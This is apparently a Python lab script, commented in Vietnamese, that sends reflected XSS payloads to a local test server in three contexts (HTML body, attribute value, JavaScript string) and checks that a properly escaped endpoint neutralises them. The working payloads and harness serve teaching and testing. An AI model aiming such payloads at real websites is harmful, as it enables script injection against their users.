#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit lab 3.1: chung minh moi context can mot payload khac nhau, va payload
di dung vao context nguy hiem (phan chieu nguyen van, khong bi escape).

Cach verify (khong can trinh duyet):
  - Gui payload hop voi tung context.
  - Doc response, kiem tra chuoi "breakout" xuat hien NGUYEN VAN trong HTML tra ve.
    Neu xuat hien nguyen van (khong thanh &lt; &gt; &quot;) thi trinh duyet se
    parse no thanh markup/JS => XSS thuc thi.
  - Doi chung /safe: cung payload nhung bi escape => khong con nguy hiem.
"""
import sys
import urllib.parse
import requests

BASE = "http://127.0.0.1:8031"


def show(title, url, payload, must_contain, must_not_contain=None):
    r = requests.get(url, params={"q": payload}, timeout=5)
    html = r.text
    ok = must_contain in html
    print("=" * 70)
    print("[CONTEXT] " + title)
    print("  URL     : " + r.url)
    print("  payload : " + payload)
    print("  can thay nguyen van: " + repr(must_contain))
    # Trich doan HTML quanh vi tri payload de nhin tan mat.
    idx = html.find(must_contain)
    if idx == -1:
        # thu tim mot phan de bao cao
        idx = html.find(payload[:10])
    snippet = html[max(0, idx - 40): idx + len(must_contain) + 40] if idx != -1 else "(khong tim thay)"
    print("  doan HTML: ..." + snippet.replace("\n", "\\n") + "...")
    if must_not_contain is not None:
        escaped_gone = must_not_contain not in html
        print("  da escape?: " + ("KHONG (nguy hiem)" if (must_not_contain in html) else "CO"))
    print("  KET QUA : " + ("PASS - payload vao dung context, chua escape" if ok else "FAIL"))
    return ok


def main():
    results = []

    # 1) Context HTML body: bom thang the script.
    results.append(show(
        "HTML body (/html)",
        BASE + "/html",
        "<script>alert(document.domain)</script>",
        must_contain="<script>alert(document.domain)</script>",
    ))

    # 2) Context attribute value: phai pha vo value="..." roi dong the input.
    results.append(show(
        "attribute value (/attr)",
        BASE + "/attr",
        '"><img src=x onerror=alert(1)>',
        must_contain='value=""><img src=x onerror=alert(1)>',
    ))

    # 3) Context JS string: dong nhay don, ket thuc cau lenh, comment phan con lai.
    results.append(show(
        "JS string (/js)",
        BASE + "/js",
        "';alert(String.fromCharCode(88,83,83));//",
        must_contain="var keyword = '';alert(String.fromCharCode(88,83,83));//';",
    ))

    # 4) Doi chung: /safe escape dung cach -> payload bi trung hoa.
    print("=" * 70)
    print("[DOI CHUNG] /safe (escape dung cach)")
    r = requests.get(BASE + "/safe", params={"q": "<script>alert(1)</script>"}, timeout=5)
    raw_present = "<script>alert(1)</script>" in r.text
    enc_present = "&lt;script&gt;" in r.text
    print("  payload nguyen van xuat hien? : " + ("CO (loi)" if raw_present else "KHONG"))
    print("  bi encode thanh &lt;script&gt;? : " + ("CO (an toan)" if enc_present else "KHONG"))
    safe_ok = (not raw_present) and enc_present
    print("  KET QUA : " + ("PASS - escape chan duoc XSS" if safe_ok else "FAIL"))

    print("=" * 70)
    all_ok = all(results) and safe_ok
    print("TONG KET: " + ("TAT CA PASS" if all_ok else "CO MUC FAIL"))
    return 0 if all_ok else 1


if __name__ == "__main__":
    sys.exit(main())
